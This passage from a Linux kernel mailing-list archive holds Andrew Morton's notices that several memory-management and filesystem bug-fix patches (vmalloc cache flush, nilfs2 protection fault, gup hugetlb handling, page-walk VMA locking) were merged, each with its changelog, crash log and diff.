mm-memcg-fix-obsolete-function-name-in-mem_cgroup_protection.patch
mm-memory-failure-add-pageoffline-check.patch
mm-page_alloc-avoid-unneeded-alike_pages-calculation.patch
mm-memcg-update-obsolete-comment-above-parent_mem_cgroup.patch
mm-page_alloc-remove-unneeded-variable-base.patch
mm-memcg-fix-wrong-function-name-above-obj_cgroup_charge_zswap.patch
mm-memory-failure-use-helper-macro-llist_for_each_entry_safe.patch
mm-mm_init-use-helper-macro-bits_per_long-and-bits_per_byte.patch
2 years, 4 months
- 1
- 0
[merged mm-hotfixes-stable] radix-tree-remove-unused-variable.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: radix tree: remove unused variable
has been removed from the -mm tree. Its filename was
radix-tree-remove-unused-variable.patch
This patch was dropped because it was merged into the mm-hotfixes-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Arnd Bergmann <arnd(a)arndb.de>
Subject: radix tree: remove unused variable
Date: Fri, 11 Aug 2023 15:10:13 +0200
Recent versions of clang warn about an unused variable, though older
versions saw the 'slot++' as a use and did not warn:
radix-tree.c:1136:50: error: parameter 'slot' set but not used [-Werror,-Wunused-but-set-parameter]
It's clearly not needed any more, so just remove it.
Link: https://lkml.kernel.org/r/20230811131023.2226509-1-arnd@kernel.org
Fixes: 3a08cd52c37c7 ("radix tree: Remove multiorder support")
Signed-off-by: Arnd Bergmann <arnd(a)arndb.de>
Cc: Matthew Wilcox <willy(a)infradead.org>
Cc: Nathan Chancellor <nathan(a)kernel.org>
Cc: Nick Desaulniers <ndesaulniers(a)google.com>
Cc: Peng Zhang <zhangpeng.00(a)bytedance.com>
Cc: Rong Tao <rongtao(a)cestc.cn>
Cc: Tom Rix <trix(a)redhat.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
lib/radix-tree.c | 1 -
1 file changed, 1 deletion(-)
--- a/lib/radix-tree.c~radix-tree-remove-unused-variable
+++ a/lib/radix-tree.c
@@ -1136,7 +1136,6 @@ static void set_iter_tags(struct radix_t
void __rcu **radix_tree_iter_resume(void __rcu **slot,
struct radix_tree_iter *iter)
{
- slot++;
iter->index = __radix_tree_iter_add(iter, 1);
iter->next_index = iter->index;
iter->tags = 0;
_
Patches currently in -mm which might be from arnd(a)arndb.de are
iomem-remove-__weak-ioremap_cache-helper.patch
2 years, 4 months
- 1
- 0
[merged mm-hotfixes-stable] mm-add-a-call-to-flush_cache_vmap-in-vmap_pfn.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: mm: add a call to flush_cache_vmap() in vmap_pfn()
has been removed from the -mm tree. Its filename was
mm-add-a-call-to-flush_cache_vmap-in-vmap_pfn.patch
This patch was dropped because it was merged into the mm-hotfixes-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Alexandre Ghiti <alexghiti(a)rivosinc.com>
Subject: mm: add a call to flush_cache_vmap() in vmap_pfn()
Date: Wed, 9 Aug 2023 18:46:33 +0200
flush_cache_vmap() must be called after new vmalloc mappings are installed
in the page table in order to allow architectures to make sure the new
mapping is visible.
It could lead to a panic since on some architectures (like powerpc),
the page table walker could see the wrong pte value and trigger a
spurious page fault that can not be resolved (see commit f1cb8f9beba8
("powerpc/64s/radix: avoid ptesync after set_pte and
ptep_set_access_flags")).
But actually the patch is aiming at riscv: the riscv specification
allows the caching of invalid entries in the TLB, and since we recently
removed the vmalloc page fault handling, we now need to emit a tlb
shootdown whenever a new vmalloc mapping is emitted
(https://lore.kernel.org/linux-riscv/20230725132246.817726-1-alexghiti@rivos…).
That's a temporary solution, there are ways to avoid that :)
Link: https://lkml.kernel.org/r/20230809164633.1556126-1-alexghiti@rivosinc.com
Fixes: 3e9a9e256b1e ("mm: add a vmap_pfn function")
Reported-by: Dylan Jhong <dylan(a)andestech.com>
Closes: https://lore.kernel.org/linux-riscv/ZMytNY2J8iyjbPPy@atctrx.andestech.com/
Signed-off-by: Alexandre Ghiti <alexghiti(a)rivosinc.com>
Reviewed-by: Christoph Hellwig <hch(a)lst.de>
Reviewed-by: Palmer Dabbelt <palmer(a)rivosinc.com>
Acked-by: Palmer Dabbelt <palmer(a)rivosinc.com>
Reviewed-by: Dylan Jhong <dylan(a)andestech.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
mm/vmalloc.c | 4 ++++
1 file changed, 4 insertions(+)
--- a/mm/vmalloc.c~mm-add-a-call-to-flush_cache_vmap-in-vmap_pfn
+++ a/mm/vmalloc.c
@@ -2979,6 +2979,10 @@ void *vmap_pfn(unsigned long *pfns, unsi
free_vm_area(area);
return NULL;
}
+
+ flush_cache_vmap((unsigned long)area->addr,
+ (unsigned long)area->addr + count * PAGE_SIZE);
+
return area->addr;
}
EXPORT_SYMBOL_GPL(vmap_pfn);
_
Patches currently in -mm which might be from alexghiti(a)rivosinc.com are
2 years, 4 months
- 1
- 0
[merged mm-hotfixes-stable] selftests-mm-foll_longterm-need-to-be-updated-to-0x100.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: selftests/mm: FOLL_LONGTERM need to be updated to 0x100
has been removed from the -mm tree. Its filename was
selftests-mm-foll_longterm-need-to-be-updated-to-0x100.patch
This patch was dropped because it was merged into the mm-hotfixes-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Ayush Jain <ayush.jain3(a)amd.com>
Subject: selftests/mm: FOLL_LONGTERM need to be updated to 0x100
Date: Tue, 8 Aug 2023 07:43:47 -0500
After commit 2c2241081f7d ("mm/gup: move private gup FOLL_ flags to
internal.h") FOLL_LONGTERM flag value got updated from 0x10000 to 0x100 at
include/linux/mm_types.h.
As hmm.hmm_device_private.hmm_gup_test uses FOLL_LONGTERM Updating same
here as well.
Before this change test goes in an infinite assert loop in
hmm.hmm_device_private.hmm_gup_test
==========================================================
RUN hmm.hmm_device_private.hmm_gup_test ...
hmm-tests.c:1962:hmm_gup_test:Expected HMM_DMIRROR_PROT_WRITE..
..(2) == m[2] (34)
hmm-tests.c:157:hmm_gup_test:Expected ret (-1) == 0 (0)
hmm-tests.c:157:hmm_gup_test:Expected ret (-1) == 0 (0)
...
==========================================================
Call Trace:
<TASK>
? sched_clock+0xd/0x20
? __lock_acquire.constprop.0+0x120/0x6c0
? ktime_get+0x2c/0xd0
? sched_clock+0xd/0x20
? local_clock+0x12/0xd0
? lock_release+0x26e/0x3b0
pin_user_pages_fast+0x4c/0x70
gup_test_ioctl+0x4ff/0xbb0
? gup_test_ioctl+0x68c/0xbb0
__x64_sys_ioctl+0x99/0xd0
do_syscall_64+0x60/0x90
? syscall_exit_to_user_mode+0x2a/0x50
? do_syscall_64+0x6d/0x90
? syscall_exit_to_user_mode+0x2a/0x50
? do_syscall_64+0x6d/0x90
? irqentry_exit_to_user_mode+0xd/0x20
? irqentry_exit+0x3f/0x50
? exc_page_fault+0x96/0x200
entry_SYSCALL_64_after_hwframe+0x72/0xdc
RIP: 0033:0x7f6aaa31aaff
After this change test is able to pass successfully.
Link: https://lkml.kernel.org/r/20230808124347.79163-1-ayush.jain3@amd.com
Fixes: 2c2241081f7d ("mm/gup: move private gup FOLL_ flags to internal.h")
Signed-off-by: Ayush Jain <ayush.jain3(a)amd.com>
Reviewed-by: Raghavendra K T <raghavendra.kt(a)amd.com>
Reviewed-by: John Hubbard <jhubbard(a)nvidia.com>
Acked-by: David Hildenbrand <david(a)redhat.com>
Cc: Jason Gunthorpe <jgg(a)nvidia.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
tools/testing/selftests/mm/hmm-tests.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
--- a/tools/testing/selftests/mm/hmm-tests.c~selftests-mm-foll_longterm-need-to-be-updated-to-0x100
+++ a/tools/testing/selftests/mm/hmm-tests.c
@@ -57,9 +57,14 @@ enum {
#define ALIGN(x, a) (((x) + (a - 1)) & (~((a) - 1)))
/* Just the flags we need, copied from mm.h: */
+
+#ifndef FOLL_WRITE
#define FOLL_WRITE 0x01 /* check pte is writable */
-#define FOLL_LONGTERM 0x10000 /* mapping lifetime is indefinite */
+#endif
+#ifndef FOLL_LONGTERM
+#define FOLL_LONGTERM 0x100 /* mapping lifetime is indefinite */
+#endif
FIXTURE(hmm)
{
int fd;
_
Patches currently in -mm which might be from ayush.jain3(a)amd.com are
selftests-mm-add-ksm_merge_time-tests.patch
2 years, 4 months
- 1
- 0
[merged mm-hotfixes-stable] nilfs2-fix-general-protection-fault-in-nilfs_lookup_dirty_data_buffers.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: nilfs2: fix general protection fault in nilfs_lookup_dirty_data_buffers()
has been removed from the -mm tree. Its filename was
nilfs2-fix-general-protection-fault-in-nilfs_lookup_dirty_data_buffers.patch
This patch was dropped because it was merged into the mm-hotfixes-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
Subject: nilfs2: fix general protection fault in nilfs_lookup_dirty_data_buffers()
Date: Sat, 5 Aug 2023 22:20:38 +0900
A syzbot stress test reported that create_empty_buffers() called from
nilfs_lookup_dirty_data_buffers() can cause a general protection fault.
Analysis using its reproducer revealed that the back reference "mapping"
from a page/folio has been changed to NULL after dirty page/folio gang
lookup in nilfs_lookup_dirty_data_buffers().
Fix this issue by excluding pages/folios from being collected if, after
acquiring a lock on each page/folio, its back reference "mapping" differs
from the pointer to the address space struct that held the page/folio.
Link: https://lkml.kernel.org/r/20230805132038.6435-1-konishi.ryusuke@gmail.com
Signed-off-by: Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
Reported-by: syzbot+0ad741797f4565e7e2d2(a)syzkaller.appspotmail.com
Closes: https://lkml.kernel.org/r/0000000000002930a705fc32b231@google.com
Tested-by: Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
fs/nilfs2/segment.c | 5 +++++
1 file changed, 5 insertions(+)
--- a/fs/nilfs2/segment.c~nilfs2-fix-general-protection-fault-in-nilfs_lookup_dirty_data_buffers
+++ a/fs/nilfs2/segment.c
@@ -725,6 +725,11 @@ static size_t nilfs_lookup_dirty_data_bu
struct folio *folio = fbatch.folios[i];
folio_lock(folio);
+ if (unlikely(folio->mapping != mapping)) {
+ /* Exclude folios removed from the address space */
+ folio_unlock(folio);
+ continue;
+ }
head = folio_buffers(folio);
if (!head) {
create_empty_buffers(&folio->page, i_blocksize(inode), 0);
_
Patches currently in -mm which might be from konishi.ryusuke(a)gmail.com are
nilfs2-fix-warning-in-mark_buffer_dirty-due-to-discarded-buffer-reuse.patch
2 years, 4 months
- 1
- 0
[merged mm-hotfixes-stable] mm-gup-handle-cont-pte-hugetlb-pages-correctly-in-gup_must_unshare-via-gup-fast.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: mm/gup: handle cont-PTE hugetlb pages correctly in gup_must_unshare() via GUP-fast
has been removed from the -mm tree. Its filename was
mm-gup-handle-cont-pte-hugetlb-pages-correctly-in-gup_must_unshare-via-gup-fast.patch
This patch was dropped because it was merged into the mm-hotfixes-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: David Hildenbrand <david(a)redhat.com>
Subject: mm/gup: handle cont-PTE hugetlb pages correctly in gup_must_unshare() via GUP-fast
Date: Sat, 5 Aug 2023 12:12:56 +0200
In contrast to most other GUP code, GUP-fast common page table walking
code like gup_pte_range() also handles hugetlb pages. But in contrast to
other hugetlb page table walking code, it does not look at the hugetlb PTE
abstraction whereby we have only a single logical hugetlb PTE per hugetlb
page, even when using multiple cont-PTEs underneath -- which is for
example what huge_ptep_get() abstracts.
So when we have a hugetlb page that is mapped via cont-PTEs, GUP-fast
might stumble over a PTE that does not map the head page of a hugetlb page
-- not the first "head" PTE of such a cont mapping.
Logically, the whole hugetlb page is mapped (entire_mapcount == 1), but we
might end up calling gup_must_unshare() with a tail page of a hugetlb
page.
We only maintain a single PageAnonExclusive flag per hugetlb page (as
hugetlb pages cannot get partially COW-shared), stored for the head page.
That flag is clear for all tail pages.
So when gup_must_unshare() ends up calling PageAnonExclusive() with a tail
page of a hugetlb page:
1) With CONFIG_DEBUG_VM_PGFLAGS
Stumbles over the:
VM_BUG_ON_PGFLAGS(PageHuge(page) && !PageHead(page), page);
For example, when executing the COW selftests with 64k hugetlb pages on
arm64:
[ 61.082187] page:00000000829819ff refcount:3 mapcount:1 mapping:0000000000000000 index:0x1 pfn:0x11ee11
[ 61.082842] head:0000000080f79bf7 order:4 entire_mapcount:1 nr_pages_mapped:0 pincount:2
[ 61.083384] anon flags: 0x17ffff80003000e(referenced|uptodate|dirty|head|mappedtodisk|node=0|zone=2|lastcpupid=0xfffff)
[ 61.084101] page_type: 0xffffffff()
[ 61.084332] raw: 017ffff800000000 fffffc00037b8401 0000000000000402 0000000200000000
[ 61.084840] raw: 0000000000000010 0000000000000000 00000000ffffffff 0000000000000000
[ 61.085359] head: 017ffff80003000e ffffd9e95b09b788 ffffd9e95b09b788 ffff0007ff63cf71
[ 61.085885] head: 0000000000000000 0000000000000002 00000003ffffffff 0000000000000000
[ 61.086415] page dumped because: VM_BUG_ON_PAGE(PageHuge(page) && !PageHead(page))
[ 61.086914] ------------[ cut here ]------------
[ 61.087220] kernel BUG at include/linux/page-flags.h:990!
[ 61.087591] Internal error: Oops - BUG: 00000000f2000800 [#1] SMP
[ 61.087999] Modules linked in: ...
[ 61.089404] CPU: 0 PID: 4612 Comm: cow Kdump: loaded Not tainted 6.5.0-rc4+ #3
[ 61.089917] Hardware name: QEMU KVM Virtual Machine, BIOS 0.0.0 02/06/2015
[ 61.090409] pstate: 604000c5 (nZCv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[ 61.090897] pc : gup_must_unshare.part.0+0x64/0x98
[ 61.091242] lr : gup_must_unshare.part.0+0x64/0x98
[ 61.091592] sp : ffff8000825eb940
[ 61.091826] x29: ffff8000825eb940 x28: 0000000000000000 x27: fffffc00037b8440
[ 61.092329] x26: 0400000000000001 x25: 0000000000080101 x24: 0000000000080000
[ 61.092835] x23: 0000000000080100 x22: ffff0000cffb9588 x21: ffff0000c8ec6b58
[ 61.093341] x20: 0000ffffad6b1000 x19: fffffc00037b8440 x18: ffffffffffffffff
[ 61.093850] x17: 2864616548656761 x16: 5021202626202965 x15: 6761702865677548
[ 61.094358] x14: 6567615028454741 x13: 2929656761702864 x12: 6165486567615021
[ 61.094858] x11: 00000000ffff7fff x10: 00000000ffff7fff x9 : ffffd9e958b7a1c0
[ 61.095359] x8 : 00000000000bffe8 x7 : c0000000ffff7fff x6 : 00000000002bffa8
[ 61.095873] x5 : ffff0008bb19e708 x4 : 0000000000000000 x3 : 0000000000000000
[ 61.096380] x2 : 0000000000000000 x1 : ffff0000cf6636c0 x0 : 0000000000000046
[ 61.096894] Call trace:
[ 61.097080] gup_must_unshare.part.0+0x64/0x98
[ 61.097392] gup_pte_range+0x3a8/0x3f0
[ 61.097662] gup_pgd_range+0x1ec/0x280
[ 61.097942] lockless_pages_from_mm+0x64/0x1a0
[ 61.098258] internal_get_user_pages_fast+0xe4/0x1d0
[ 61.098612] pin_user_pages_fast+0x58/0x78
[ 61.098917] pin_longterm_test_start+0xf4/0x2b8
[ 61.099243] gup_test_ioctl+0x170/0x3b0
[ 61.099528] __arm64_sys_ioctl+0xa8/0xf0
[ 61.099822] invoke_syscall.constprop.0+0x7c/0xd0
[ 61.100160] el0_svc_common.constprop.0+0xe8/0x100
[ 61.100500] do_el0_svc+0x38/0xa0
[ 61.100736] el0_svc+0x3c/0x198
[ 61.100971] el0t_64_sync_handler+0x134/0x150
[ 61.101280] el0t_64_sync+0x17c/0x180
[ 61.101543] Code: aa1303e0 f00074c1 912b0021 97fffeb2 (d4210000)
2) Without CONFIG_DEBUG_VM_PGFLAGS
Always detects "not exclusive" for passed tail pages and refuses to PIN
the tail pages R/O, as gup_must_unshare() == true. GUP-fast will fallback
to ordinary GUP. As ordinary GUP properly considers the logical hugetlb
PTE abstraction in hugetlb_follow_page_mask(), pinning the page will
succeed when looking at the PageAnonExclusive on the head page only.
So the only real effect of this is that with cont-PTE hugetlb pages, we'll
always fallback from GUP-fast to ordinary GUP when not working on the head
page, which ends up checking the head page and do the right thing.
Consequently, the cow selftests pass with cont-PTE hugetlb pages as well
without CONFIG_DEBUG_VM_PGFLAGS.
Note that this only applies to anon hugetlb pages that are mapped using
cont-PTEs: for example 64k hugetlb pages on a 4k arm64 kernel.
... and only when R/O-pinning (FOLL_PIN) such pages that are mapped into
the page table R/O using GUP-fast.
On production kernels (and even most debug kernels, that don't set
CONFIG_DEBUG_VM_PGFLAGS) this patch should theoretically not be required
to be backported. But of course, it does not hurt.
Link: https://lkml.kernel.org/r/20230805101256.87306-1-david@redhat.com
Fixes: a7f226604170 ("mm/gup: trigger FAULT_FLAG_UNSHARE when R/O-pinning a possibly shared anonymous page")
Signed-off-by: David Hildenbrand <david(a)redhat.com>
Reported-by: Ryan Roberts <ryan.roberts(a)arm.com>
Reviewed-by: Ryan Roberts <ryan.roberts(a)arm.com>
Tested-by: Ryan Roberts <ryan.roberts(a)arm.com>
Cc: Vlastimil Babka <vbabka(a)suse.cz>
Cc: John Hubbard <jhubbard(a)nvidia.com>
Cc: Jason Gunthorpe <jgg(a)nvidia.com>
Cc: Peter Xu <peterx(a)redhat.com>
Cc: Mike Kravetz <mike.kravetz(a)oracle.com>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
mm/internal.h | 10 ++++++++++
1 file changed, 10 insertions(+)
--- a/mm/internal.h~mm-gup-handle-cont-pte-hugetlb-pages-correctly-in-gup_must_unshare-via-gup-fast
+++ a/mm/internal.h
@@ -1005,6 +1005,16 @@ static inline bool gup_must_unshare(stru
smp_rmb();
/*
+ * During GUP-fast we might not get called on the head page for a
+ * hugetlb page that is mapped using cont-PTE, because GUP-fast does
+ * not work with the abstracted hugetlb PTEs that always point at the
+ * head page. For hugetlb, PageAnonExclusive only applies on the head
+ * page (as it cannot be partially COW-shared), so lookup the head page.
+ */
+ if (unlikely(!PageHead(page) && PageHuge(page)))
+ page = compound_head(page);
+
+ /*
* Note that PageKsm() pages cannot be exclusive, and consequently,
* cannot get pinned.
*/
_
Patches currently in -mm which might be from david(a)redhat.com are
kvm-explicitly-set-foll_honor_numa_fault-in-hva_to_pfn_slow.patch
mm-gup-dont-implicitly-set-foll_honor_numa_fault.patch
pgtable-improve-pte_protnone-comment.patch
selftest-mm-ksm_functional_tests-test-in-mmap_and_merge_range-if-anything-got-merged.patch
selftest-mm-ksm_functional_tests-add-prot_none-test.patch
selftest-mm-ksm_functional_tests-add-prot_none-test-fix.patch
mm-swap-stop-using-page-private-on-tail-pages-for-thp_swap.patch
mm-swap-inline-folio_set_swap_entry-and-folio_swap_entry.patch
mm-huge_memory-work-on-folio-swap-instead-of-page-private-when-splitting-folio.patch
2 years, 4 months
- 1
- 0
[merged mm-hotfixes-stable] mm-enable-page-walking-api-to-lock-vmas-during-the-walk.patch removed from -mm tree
by Andrew Morton
The quilt patch titled
Subject: mm: enable page walking API to lock vmas during the walk
has been removed from the -mm tree. Its filename was
mm-enable-page-walking-api-to-lock-vmas-during-the-walk.patch
This patch was dropped because it was merged into the mm-hotfixes-stable branch
of git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
------------------------------------------------------
From: Suren Baghdasaryan <surenb(a)google.com>
Subject: mm: enable page walking API to lock vmas during the walk
Date: Fri, 4 Aug 2023 08:27:19 -0700
walk_page_range() and friends often operate under write-locked mmap_lock.
With introduction of vma locks, the vmas have to be locked as well during
such walks to prevent concurrent page faults in these areas. Add an
additional member to mm_walk_ops to indicate locking requirements for the
walk.
The change ensures that page walks which prevent concurrent page faults
by write-locking mmap_lock, operate correctly after introduction of
per-vma locks. With per-vma locks page faults can be handled under vma
lock without taking mmap_lock at all, so write locking mmap_lock would
not stop them. The change ensures vmas are properly locked during such
walks.
A sample issue this solves is do_mbind() performing queue_pages_range()
to queue pages for migration. Without this change a concurrent page
can be faulted into the area and be left out of migration.
Link: https://lkml.kernel.org/r/20230804152724.3090321-2-surenb@google.com
Signed-off-by: Suren Baghdasaryan <surenb(a)google.com>
Suggested-by: Linus Torvalds <torvalds(a)linuxfoundation.org>
Suggested-by: Jann Horn <jannh(a)google.com>
Cc: David Hildenbrand <david(a)redhat.com>
Cc: Davidlohr Bueso <dave(a)stgolabs.net>
Cc: Hugh Dickins <hughd(a)google.com>
Cc: Johannes Weiner <hannes(a)cmpxchg.org>
Cc: Laurent Dufour <ldufour(a)linux.ibm.com>
Cc: Liam Howlett <liam.howlett(a)oracle.com>
Cc: Matthew Wilcox (Oracle) <willy(a)infradead.org>
Cc: Michal Hocko <mhocko(a)suse.com>
Cc: Michel Lespinasse <michel(a)lespinasse.org>
Cc: Peter Xu <peterx(a)redhat.com>
Cc: Vlastimil Babka <vbabka(a)suse.cz>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
---
arch/powerpc/mm/book3s64/subpage_prot.c | 1
arch/riscv/mm/pageattr.c | 1
arch/s390/mm/gmap.c | 5 +++
fs/proc/task_mmu.c | 5 +++
include/linux/pagewalk.h | 11 ++++++
mm/damon/vaddr.c | 2 +
mm/hmm.c | 1
mm/ksm.c | 25 +++++++++------
mm/madvise.c | 3 +
mm/memcontrol.c | 2 +
mm/memory-failure.c | 1
mm/mempolicy.c | 22 ++++++++-----
mm/migrate_device.c | 1
mm/mincore.c | 1
mm/mlock.c | 1
mm/mprotect.c | 1
mm/pagewalk.c | 36 ++++++++++++++++++++--
mm/vmscan.c | 1
18 files changed, 100 insertions(+), 20 deletions(-)
--- a/arch/powerpc/mm/book3s64/subpage_prot.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/arch/powerpc/mm/book3s64/subpage_prot.c
@@ -145,6 +145,7 @@ static int subpage_walk_pmd_entry(pmd_t
static const struct mm_walk_ops subpage_walk_ops = {
.pmd_entry = subpage_walk_pmd_entry,
+ .walk_lock = PGWALK_WRLOCK_VERIFY,
};
static void subpage_mark_vma_nohuge(struct mm_struct *mm, unsigned long addr,
--- a/arch/riscv/mm/pageattr.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/arch/riscv/mm/pageattr.c
@@ -102,6 +102,7 @@ static const struct mm_walk_ops pageattr
.pmd_entry = pageattr_pmd_entry,
.pte_entry = pageattr_pte_entry,
.pte_hole = pageattr_pte_hole,
+ .walk_lock = PGWALK_RDLOCK,
};
static int __set_memory(unsigned long addr, int numpages, pgprot_t set_mask,
--- a/arch/s390/mm/gmap.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/arch/s390/mm/gmap.c
@@ -2514,6 +2514,7 @@ static int thp_split_walk_pmd_entry(pmd_
static const struct mm_walk_ops thp_split_walk_ops = {
.pmd_entry = thp_split_walk_pmd_entry,
+ .walk_lock = PGWALK_WRLOCK_VERIFY,
};
static inline void thp_split_mm(struct mm_struct *mm)
@@ -2565,6 +2566,7 @@ static int __zap_zero_pages(pmd_t *pmd,
static const struct mm_walk_ops zap_zero_walk_ops = {
.pmd_entry = __zap_zero_pages,
+ .walk_lock = PGWALK_WRLOCK,
};
/*
@@ -2655,6 +2657,7 @@ static const struct mm_walk_ops enable_s
.hugetlb_entry = __s390_enable_skey_hugetlb,
.pte_entry = __s390_enable_skey_pte,
.pmd_entry = __s390_enable_skey_pmd,
+ .walk_lock = PGWALK_WRLOCK,
};
int s390_enable_skey(void)
@@ -2692,6 +2695,7 @@ static int __s390_reset_cmma(pte_t *pte,
static const struct mm_walk_ops reset_cmma_walk_ops = {
.pte_entry = __s390_reset_cmma,
+ .walk_lock = PGWALK_WRLOCK,
};
void s390_reset_cmma(struct mm_struct *mm)
@@ -2728,6 +2732,7 @@ static int s390_gather_pages(pte_t *ptep
static const struct mm_walk_ops gather_pages_ops = {
.pte_entry = s390_gather_pages,
+ .walk_lock = PGWALK_RDLOCK,
};
/*
--- a/fs/proc/task_mmu.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/fs/proc/task_mmu.c
@@ -757,12 +757,14 @@ static int smaps_hugetlb_range(pte_t *pt
static const struct mm_walk_ops smaps_walk_ops = {
.pmd_entry = smaps_pte_range,
.hugetlb_entry = smaps_hugetlb_range,
+ .walk_lock = PGWALK_RDLOCK,
};
static const struct mm_walk_ops smaps_shmem_walk_ops = {
.pmd_entry = smaps_pte_range,
.hugetlb_entry = smaps_hugetlb_range,
.pte_hole = smaps_pte_hole,
+ .walk_lock = PGWALK_RDLOCK,
};
/*
@@ -1244,6 +1246,7 @@ static int clear_refs_test_walk(unsigned
static const struct mm_walk_ops clear_refs_walk_ops = {
.pmd_entry = clear_refs_pte_range,
.test_walk = clear_refs_test_walk,
+ .walk_lock = PGWALK_WRLOCK,
};
static ssize_t clear_refs_write(struct file *file, const char __user *buf,
@@ -1621,6 +1624,7 @@ static const struct mm_walk_ops pagemap_
.pmd_entry = pagemap_pmd_range,
.pte_hole = pagemap_pte_hole,
.hugetlb_entry = pagemap_hugetlb_range,
+ .walk_lock = PGWALK_RDLOCK,
};
/*
@@ -1934,6 +1938,7 @@ static int gather_hugetlb_stats(pte_t *p
static const struct mm_walk_ops show_numa_ops = {
.hugetlb_entry = gather_hugetlb_stats,
.pmd_entry = gather_pte_stats,
+ .walk_lock = PGWALK_RDLOCK,
};
/*
--- a/include/linux/pagewalk.h~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/include/linux/pagewalk.h
@@ -6,6 +6,16 @@
struct mm_walk;
+/* Locking requirement during a page walk. */
+enum page_walk_lock {
+ /* mmap_lock should be locked for read to stabilize the vma tree */
+ PGWALK_RDLOCK = 0,
+ /* vma will be write-locked during the walk */
+ PGWALK_WRLOCK = 1,
+ /* vma is expected to be already write-locked during the walk */
+ PGWALK_WRLOCK_VERIFY = 2,
+};
+
/**
* struct mm_walk_ops - callbacks for walk_page_range
* @pgd_entry: if set, called for each non-empty PGD (top-level) entry
@@ -66,6 +76,7 @@ struct mm_walk_ops {
int (*pre_vma)(unsigned long start, unsigned long end,
struct mm_walk *walk);
void (*post_vma)(struct mm_walk *walk);
+ enum page_walk_lock walk_lock;
};
/*
--- a/mm/damon/vaddr.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/damon/vaddr.c
@@ -386,6 +386,7 @@ out:
static const struct mm_walk_ops damon_mkold_ops = {
.pmd_entry = damon_mkold_pmd_entry,
.hugetlb_entry = damon_mkold_hugetlb_entry,
+ .walk_lock = PGWALK_RDLOCK,
};
static void damon_va_mkold(struct mm_struct *mm, unsigned long addr)
@@ -525,6 +526,7 @@ out:
static const struct mm_walk_ops damon_young_ops = {
.pmd_entry = damon_young_pmd_entry,
.hugetlb_entry = damon_young_hugetlb_entry,
+ .walk_lock = PGWALK_RDLOCK,
};
static bool damon_va_young(struct mm_struct *mm, unsigned long addr,
--- a/mm/hmm.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/hmm.c
@@ -562,6 +562,7 @@ static const struct mm_walk_ops hmm_walk
.pte_hole = hmm_vma_walk_hole,
.hugetlb_entry = hmm_vma_walk_hugetlb_entry,
.test_walk = hmm_vma_walk_test,
+ .walk_lock = PGWALK_RDLOCK,
};
/**
--- a/mm/ksm.c~mm-enable-page-walking-api-to-lock-vmas-during-the-walk
+++ a/mm/ksm.c
@@ -455,6 +455,12 @@ static int break_ksm_pmd_entry(pmd_t *pm
static const struct mm_walk_ops break_ksm_ops = {
.pmd_entry = break_ksm_pmd_entry,
+ .walk_lock = PGWALK_RDLOCK,
+};
+
+static const struct mm_walk_ops break_ksm_lock_vma_ops = {
+ .pmd_entry = break_ksm_pmd_entry,
+ .walk_lock = PGWALK_WRLOCK,
};
/*
@@ -470,16 +476,17 @@ static const struct mm_walk_ops break_ks
* of the process that owns 'vma'. We also do not want to enforce
* protection keys here anyway.
*/
-static int break_ksm(struct vm_area_struct *vma, unsigned long addr)
+static int break_ksm(struct vm_area_struct *vma, unsigned long addr, bool lock_vma)
{
vm_fault_t ret = 0;
+ const struct mm_walk_ops *ops = lock_vma ?
+ &break_ksm_lock_vma_ops : &break_ksm_ops;
do {
int ksm_page;
cond_resched();
- ksm_page = walk_page_range_vma(vma, addr, addr + 1,
- &break_ksm_ops, NULL);
+ ksm_page = walk_page_range_vma(vma, addr, addr + 1, ops, NULL);
if (WARN_ON_ONCE(ksm_page < 0))
return ksm_page;
if (!ksm_page)
@@ -565,7 +572,7 @@ static void break_cow(struct ksm_rmap_it
mmap_read_lock(mm);
vma = find_mergeable_vma(mm, addr);
if (vma)
- break_ksm(vma, addr);
+ break_ksm(vma, addr, false);
mmap_read_unlock(mm);
}
@@ -871,7 +878,7 @@ static void remove_trailing_rmap_items(s
* in cmp_and_merge_page on one of the rmap_items we would be removing.
*/
static int unmerge_ksm_pages(struct vm_area_struct *vma,
- unsigned long start, unsigned long end)
+ unsigned long start, unsigned long end, bool lock_vma)
{
unsigned long addr;
int err = 0;
@@ -882,7 +889,7 @@ static int unmerge_ksm_pages(struct vm_a
if (signal_pending(current))
err = -ERESTARTSYS;
else
- err = break_ksm(vma, addr);
+ err = break_ksm(vma, addr, lock_vma);
}
return err;
}
